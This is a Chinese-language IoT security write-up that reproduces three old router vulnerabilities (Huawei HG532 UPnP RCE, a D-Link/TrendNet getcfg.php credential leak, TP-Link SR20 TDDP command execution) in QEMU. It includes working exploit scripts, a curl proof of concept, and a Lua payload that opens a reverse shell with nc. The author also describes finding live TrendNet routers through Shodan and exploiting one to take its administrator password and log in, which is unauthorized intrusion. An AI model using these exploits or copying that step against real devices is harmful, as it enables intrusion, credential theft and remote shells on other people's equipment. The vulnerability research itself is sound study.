说在最前面
前几天去上饶打完了“饶派杯”XCTF车联网安全挑战赛,不出意外的话,这应该是我打的最后一场CTF比赛了。因为马上暑假就准备考研的备考了,大三应该也不会有空打比赛了。很高兴和队友第一次打车联网比赛就AK了实车破解赛道,最后拿了冠军和5w奖金也算是CTF比赛生涯圆满收官了!
这两天就在整理电脑上存着的CTF和IoT相关材料,也算是暂时告别这些了。然后,我发现大一刚入坑IoT的时候写过几份很经典的老漏洞的复现报告,有几份之前发在了看雪论坛上,剩下的应该也给过一些想入门IoT的朋友但没公开过。现在看来写的是相当稚嫩的,不过给新手师傅们做做参考应该还是没啥问题的hhh
在本文中,我将之前没公开的几份漏洞报告都贴出来了,正好也是三个不同的主流厂商的经典漏洞,希望能给各位新手师傅带来一些帮助和启发。这几份报告也是笔者刚入门的时候写的,如有错误请大家指出,多多包涵。
之前同时期在看雪论坛上发的几篇(其实里面有一些写的不太对的地方):
CNVD-2018-01084 漏洞复现报告(service.cgi 远程命令执行漏洞)
由于本文复现的设备固件都比较老,有些现在已经不容易下载到,故笔者将固件打包放在了附件中,方便各位师傅进行复现。
华为HG532路由器RCE漏洞
前言
CVE-2017-17215
是CheckPoint
团队披露的远程命令执行(RCE
)漏洞,存在于华为HG532
路由器中。
该设备支持名为DeviceUpgrade
的一种服务类型,可通过向/ctrlt/DeviceUpgrade_1
的地址提交请求,来执行固件的升级操作。
可通过向37215
端口发送数据包,启用UPnP
协议服务,并利用该漏洞,在NewStatusURL
或NewDownloadURL
标签中注入任意命令以执行。
漏洞披露:https://research.checkpoint.com/2017/good-zero-day-skiddie/
固件包(见附件):HG532eV100R001C02B015_upgrade_main.bin
准备工作
注:笔者在Ubuntu-20.04
环境下对该漏洞进行了复现。
配置网络环境
安装网络配置工具:apt-get install bridge-utils uml-utilities
随后执行命令:sysctl -w net.ipv4.ip_forward=1
1. 修改ubuntu
网络配置文件/etc/network/interfaces
修改/etc/network/interfaces
文件为:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_maxwait 0
这里的话,我上面写的是eth0
,但是每个人的情况会不一样,建议先用ip addr
命令看看有没有eth0
这个接口,有些可能是ens33
,那就把上面的eth0
全部换成ens33
,或者将/etc/default/grub
文件中GRUB_CMDLINE_LINUX=""
的双引号中加上net.ifnames=0 biosdevname=0
,然后再sudo grub-mkconfig -o /boot/grub/grub.cfg
,重启系统后,就应该变为eth0
了。
在修改完/etc/network/interfaces
之后,需要用sudo /etc/init.d/networking restart
命令重启一下网络配置。
2. 编辑qemu
的网络接口启动脚本/etc/qemu-ifup
之后会讲到qemu
的安装,若是还没安装qemu
,请等qemu
安装完成后再配置此项。
在/etc/qemu-ifup
文件中写入:
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2
若是本身就没有这个文件的话,就先创建后写入,再用sudo chmod a+x /etc/qemu-ifup
命令赋予权限。
3. 创建包含qemu
使用的所有桥的名称的配置文件/etc/qemu/bridge.conf
在/etc/qemu/bridge.conf
中写入allow br0
即可。
注:在网络环境按上述配置完成后,建议重启下Ubuntu
虚拟机。
解压固件并查看信息
这里主要是指从固件中提取出文件系统,主要用到binwalk
工具,及其配套工具sasquatch
(若是没有sasquatch
,则无法成功地提取出文件系统)。
binwalk
安装:sudo apt install binwalk
sasquatch
安装:https://github.com/devttys0/sasquatch
安装完成后,执行binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
命令,并在解压出来的squashfs-root
文件夹内可以看到文件系统,包含bin
,etc
,lib
等文件夹。
我们可以在bin
文件夹内找到存在漏洞的upnp
二进制文件,并使用checksec upnp
查看其信息:
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
可以看到,这是一个32
位大端序的mips
架构下的二进制文件,并且没有开任何保护。
配置qemu虚拟机并连接
我们用的是x86_64
架构,所以需要qemu
来模拟mips
环境,qemu
的安装命令如下:
sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system
由于该固件是32
位大端序的mips
架构,因此,我们也要下载相对应的内核及镜像文件。
下载地址:https://people.debian.org/~aurel32/qemu/mips/
.
下载其中的vmlinux-2.6.32-5-4kc-malta
内核以及debian_squeeze_mips_standard.qcow2
镜像文件。
启动脚本(放在刚刚下载的两个文件的同一目录下):
#!/bin/bash
sudo qemu-system-mips \
-M malta -kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic,macaddr=00:16:3e:00:00:01 \
-net tap
命名为start.sh
,用chmod +x start.sh
赋予可执行权限,再用./start.sh
即可启动qemu
了。
qemu
的初始账号密码为root/root
。
进入qemu
后,先用ip addr
命令(或者ifconfig
命令)看一下网卡,不出意外的话,第一个应该是eth1
。
然后在qemu
中,用nano /etc/network/interfaces
命令修改其中内容为:
allow-hotplug eth1
iface eth1 inet dhcp
也就是将原先的eth0
改为你的第一个网卡名称,我这里就是eth1
。
然后再用ifup eth1
命令启用eth1
接口或者干脆重启qemu
之后,再ip addr
,就可以看到:
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.192.133/24 brd 192.168.192.255 scope global eth1
inet6 fe80::216:3eff:fe00:1/64 scope link
valid_lft forever preferred_lft forever
其中,192.168.192.133
就是我这里qemu
的ip
了,用同样的方法,在host
主机(Ubuntu
系统)上执行ip addr
命令,也可以拿到主机的ip
。
接着,我们需要将固件提取出来的文件系统拷贝到qemu
的镜像文件的root
目录下,进入固件解压出的文件夹后,执行scp -r ./squashfs-root root@192.168.192.133:/root/
命令即可。
由于在qemu
中不太好操作,建议用ssh
命令在host
主机上连接到qemu
虚拟机:ssh root@192.168.192.133
,这样就能在host
主机的终端上操作qemu
虚拟机了。
验证漏洞并复现
根据官方的漏洞报告,我们知道漏洞存在于/bin/upnp
二进制文件中,先将其拖进IDA
中进行逆向分析:
漏洞定位
1. 用官方报告中提及的NewStatusURL
或NewDownloadURL
字符串定位
2. 找到存在漏洞的代码段并创建函数
3. 反编译出伪C代码,便于观看
漏洞分析
观察到上图第18
行会将我们发送的标签的内容写入字符串,并在之后会用system
执行该字符串,这就很明显会存在一个任意命令执行的漏洞,我们可以将;<cmd>;
写入标签,由于;
可连接两个独立语句并执行,因此,就能执行我们的cmd
命令了。
这里的反编译其实有些问题,第18
行应该是:snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);
,这里少了个参数。
至此,我们发现,可以在NewStatusURL
或NewDownloadURL
标签中注入任意命令以执行。
漏洞复现
我们首先要更换原始镜像文件的根目录为从固件中提取的文件系统的根目录:
cd squashfs-root
chroot . sh
接着,我们按照官方报告中所说,需要打开37215
端口,并向该端口下的/ctrlt/DeviceUpgrade_1
地址发送数据包,才能启用UPnP
服务。
通过grep -r '37215'
命令可以查到,/bin/mic
这个二进制文件中有这个端口,我们便猜测可以通过运行/bin/mic
文件来打开37215
端口(用sudo nmap 192.168.192.133 -p1-65535
命令扫描到qemu
虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215
命令看看能否成功连接上37215
端口)。
运行/bin/mic
文件后会报一系列错误信息并最后将卡在那里,这些都不用管,只要37215
端口是正常开着的就行,此时不能ctrl+Z
关掉mic
文件的运行,不然37215
端口肯定也会跟着被关闭。
最后,我们就可以打exp
并成功复现完CVE-2017-17215
这个漏洞了!
附上exp
:
import requests
Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
headers = {"Authorization": Authorization}
print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n")
cmd = input("command > ")
data = f'''
<?xml version="1.0" ?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>winmt</NewStatusURL>
<NewDownloadURL>;{cmd};</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
r = requests.post('http://192.168.192.133:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data)
print("\nstatus_code: " + str(r.status_code))
print("\n" + r.text)
复现演示
D-Link 登录信息泄露(权限绕过)漏洞
前言
漏洞编号CVE-2018-7034
,影响D-Link
和TrendNet
的一些老设备。
固件包(见附件):TEW751DR_FW103B03.bin
这里分析的是TrendNet TEW751
的固件,此外D-Link
的一些老设备,如DIR645
,DIR815
等也都受该漏洞影响。
漏洞分析
存在漏洞的文件是/htdocs/web/getcfg.php
:
可以看到第34
行会加载进来一个文件,而该文件的路径在第32
行,其中$GETCFG_SVC
是通过POST
请求传进来的$_POST["SERVICES"]
,因此,这个任意文件的加载是我们可控的。但是,前提是要满足$AUTHORIZED_GROUP >= 0
。
那么我们加载什么文件呢?这个文件的路径得在/htdocs/webinc/getcfg
目录下,且后缀得是.xml.php
,我们关注到了/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php
这个文件:
可通过加载这个文件泄露账户密码这些敏感信息。
但是,我们首先还是得先知道如何绕过全局变量$AUTHORIZED_GROUP >= 0
的检查,我们传入的数据都是先通过登录验证文件htdocs/cgibin
进行脚本语言解析后,再将解析好的URL
结构发送给这里的php
文件。
因此,我们需要逆向分析cgibin
文件,由于这里的webserver
运行的是php
脚本,那么这个二进制文件中重点的就是处理php
语言的部分,也就是phpcgi
。
逆向分析
进入main
函数:
进入phpcgi_main
函数:
首先看到这里,sobj_new
函数先动态分配一个空间存放解析的URL
字符串,这里圈出来的最先拼接的字符串是我们传进来的第一个参数,也就是传入main
的argv[0]
(phpcgi
)的后一个参数:
然后,下面的for
循环就是在读取我们的环境变量并拼接起来,拼接好的结果如下:
紧接着,就是读取请求方式的环境变量了,按照上面的分析,我们这里得是POST
请求方式:
这样就是会调用cgibin_parse_request
函数,其中parse_uri
函数会对请求进行进一步的解析,之后再看到这里:
这里其实是调用了sub_40445C
函数,里面有一个read
函数,我们POST
请求的内容也就是从这里读进去的:
然后会走到sub_403864
函数:
这里的v9
函数指针其实就是cgibin_parse_request
函数传进去的第一个参数sub_405AC0
:
这里会按照POST
请求对输入的内容进行解析,就是找到一个=
,再将前后分离并拼接,然后将解析好的内容拼接到上面的字符串之后。
接下来,会有一个session
的验证:
这里要打开/var/session/sesscfg
文件,这个在我们模拟的环境中是没有的,所以需要patch
掉:
可以看到这里就会将AUTHORIZED_GROUP
写入上面的字符串之后了,而我们就是需要让$AUTHORIZED_GROUP >= 0
才行。
我们动态调试一下,发现$AUTHORIZED_GROUP
写到了我们之前POST
解析好的字符串之后:
我们解析好的字符串结构每个都是...=...\n
的形式,因此,我们可以想到,在POST
的内容里伪造加上%0aAUTHORIZED_GROUP=1
,这样在getcfg.php
中就会先取到这里的1
,也就满足$AUTHORIZED_GROUP >= 0
的判断了:
综上,我们POST
发送的内容应该为SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
。
不过,这里还有一个问题,就是在xmldbc_ephp
函数中,会走到:
这里在我们qemu
模拟的环境中是无法连接上的,由于之后还要发送数据,这里也不好直接patch
掉,因此,在本地是不好复现的,不过,我们可以打远程。
复现演示
使用 shodan
( https://www.shodan.io/search?query=tew-751dr ) 查找到还在用此路由器设备的站点:
我们用POC
:curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[ip]/getcfg.php"
,随便找一个打一下:
其中,使用了curl
命令,-d
就是发送POST
请求,可以看到,我们成功拿到了管理员账户和密码!
并且,我们可以成功登录:
成功地进入到了后台:
至此,该漏洞复现成功。
TP-Link SR20 命令执行漏洞
前言
查阅相关资料可知,TDDP
协议(TP-LINK Device Debug Protocol
) 是TP-LINK
申请了专利的一种在UPD
通信的基础上设计的协议,而Google
安全专家Matthew Garrett
在TP-Link SR20
设备上的TDDP
协议文件中发现了一处可造成 “允许来自本地网络连接的任意命令执行” 的漏洞。
复现环境:Ubuntu 20.04
固件包下载:https://static.tp-link.com/2018/201806/20180611/SR20(US)_V1_180518.zip
TDDP 协议
其中,TDDP
报头中的Ver
字段是版本号,分为V1
和V2
两个版本,V1
版本是不需要进行身份认证的;Type
字段是报文类型,编号及类型的对照如下:
4:CMD_AUTO_TEST 6: CMD_CONFIG_MAC 7: CMD_CANCEL_TEST
8: CMD_REBOOT_FOR_TEST 0XA:CMD_GET_PROD_ID 0XC: CMD_SYS_INIT
0XD: CMD_CONFIG_PIN 0X30: CMD_FTEST_USB 0X31: CMD_FTEST_CONFIG
根据公开的漏洞信息,这个漏洞存在于V1
版本下的0X31: CMD_FTEST_CONFIG
类型处。
逆向分析
对固件包解压后,找到存在漏洞的文件位于/usr/bin/tddp
,将其拖进IDA
进行静态分析。
由于我们找不到主函数,因此先观察到_start
函数,由此可以看到其跳转到的sub_971C
就是main
函数,并将其重命名为main
:
可以发现,sub_16C90
函数是对动态内存的初始化分配,而sub_16D40
函数是对分配的动态内存进行回收,因此关键在于中间的sub_936C
函数:
上面圈出的一堆函数是对内存的初始化以及对socket
套接字的初始化,其中值得关注的是sub_16D68
函数:
这里的a2
是传进来的参数1040
,htons
函数是将整型变量从主机字节顺序转变成网络字节顺序,而bind
函数是将一个本地地址与一个套接口进行绑定,这个函数的目的就是将socket
套接字绑定到了1040
端口上。
继续往下看,其中sub_9340
函数是获取了当前时间,对于我们不重要,因此就走到了sub_16418
函数:
在这里发现了一个关键的函数recvfrom()
,该函数的原型是:ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socklen_t *fromlen)
,用来接收远程主机经指定的socket
传来的数据,并把数据传到由参数buf
指向的内存空间。
也就是说,我们向启动了tddp
的目标IP
的1040
端口通过socket
套接字传输TDDP
包(报头+数据),数据包的内容就被存放在a1 + 45083
中。
从上图可以看出,v2
就是接收到的TDDP
数据包,其中的判断if ( v2 == 1 )
自然就是判断TDDP
协议的版本号,漏洞点就在Version 1
,也就是这个if
分支中,并容易发现,sub_15E74
函数就是对Type
类型的判断:
我们找到漏洞点所在的case 0x31
处:
进入到sub_A580
函数中:
从上图可以看到,当TDDP
协议是Version 1
的时候,v18
会从TDDP
包的首地址往后移12
个字节,也就是从“报头”移动到“数据”的首地址(见上面的TDDP
协议结构图),接着就到了一个sscanf
函数:
这个sscanf
函数将传进来的TDDP
包数据区按照分离符;
分为s
和v9
两个字符串,其中利用“正则表达式”过滤了s
中的;
,之后,字符串s
拼接到了cd /tmp;tftp -gr
的后面,这显然是一个shell
命令,而s
拼接上去很可能就导致了任意命令的执行,我们来看sub_91DC
函数:
可见,这里的确就是一个shell
命令的执行,此处,我们有两种利用方式:
1.字符串s
在sscanf
分离的时候仅过滤了;
,而 |
和&
也可以作为连接符,对两句独立命令进行连接。
2.tftp -gr ...
命令是利用FTP
协议,从...
路径下载文件,在这里是保存到/tmp
目录下,再看到后面:
这里先是将利用FTP
协议下载的文件所保存的路径放在了name
字符串中,然后通过luaL_loadfile
函数对Lua
脚本进行加载运行。
因此,我们若是想传一个路径到字符串s
中也是可以的,不过需要先搭建TFTP Server
,然后在某目录下放一个可执行恶意命令的Lua
脚本文件。
漏洞复现
搭建 TFTP Server
1.执行sudo apt install atftpd
命令安装atftpd
2.将/etc/default/atftpd
文件改成如下内容:
USE_INETD=false
# OPTIONS below are used only with init script
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
3.新建/tftpboot
目录,并赋予777
权限,然后在/tftpboot
目录下放一个可执行反弹shell
命令的Lua
脚本文件payload
:
function config_test(config)
os.execute("/bin/nc -e /bin/sh 192.168.192.131 8888")
end
其中,192.168.192.131
是Ubuntu
宿主机的IP
。
4.执行sudo systemctl start atftpd
命令启动TFTP
服务即可
5.执行sudo systemctl status atftpd
命令可查看atftpd
服务状态,若是提示atftpd: can't bind port :69/udp
无法绑定端口,则可先执行sudo systemctl stop inetutils-inetd.service
命令来停用inetutils-inetd
服务,然后再执行sudo systemctl restart atftpd
命令重启TFTP
服务
QEMU 环境配置
从 Debian 官网 下载内核,磁盘文件及镜像文件:
debian_wheezy_armhf_standard.qcow2
启动脚本如下:
#!/bin/bash
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap \
-nographic
老规矩,先用scp
命令将固件包解压出的squashfs-root
文件夹上传到QEMU
虚拟机。
启动好QEMU
之后,肯定是需要更换根目录到固件包解压出的文件系统下,但是由于用的是busybox
,其中的nc
是简化版的,不好完美地反弹shell
,因此我们需要执行以下命令,将镜像文件系统中的nc
拷贝到固件包解压出的文件系统下并挂载目录(因为chroot
默认不会切换/dev
和/proc
),然后再切换根目录:
cd squashfs-root
cp /bin/nc.traditional ./bin
mv ./bin/nc.traditional ./bin/nc
cp /lib/arm-linux-gnueabihf/libc.so.6 ./lib/arm-linux-gnueabihf
cp /lib/ld-linux-armhf.so.3 ./lib
mount -o bind /dev ./dev
mount -t proc /proc ./proc
chroot . sh
exp
根据上述分析,很容易写出如下利用脚本:
from socket import *
import sys
tddp_port = 1040
ip = sys.argv[1] # 192.168.192.130 (QEMU虚拟机的IP)
command = sys.argv[2]
s_send = socket(AF_INET, SOCK_DGRAM, 0)
payload = b'\x01\x31'.ljust(12, b'\x00')
payload += b"%s;winmt" % command
s_send.sendto(payload, (ip, tddp_port))
s_send.close()
利用 | 或 & 分隔命令造成命令执行
利用TFTP协议传Lua脚本造成命令执行
附件下载:Firmware.zip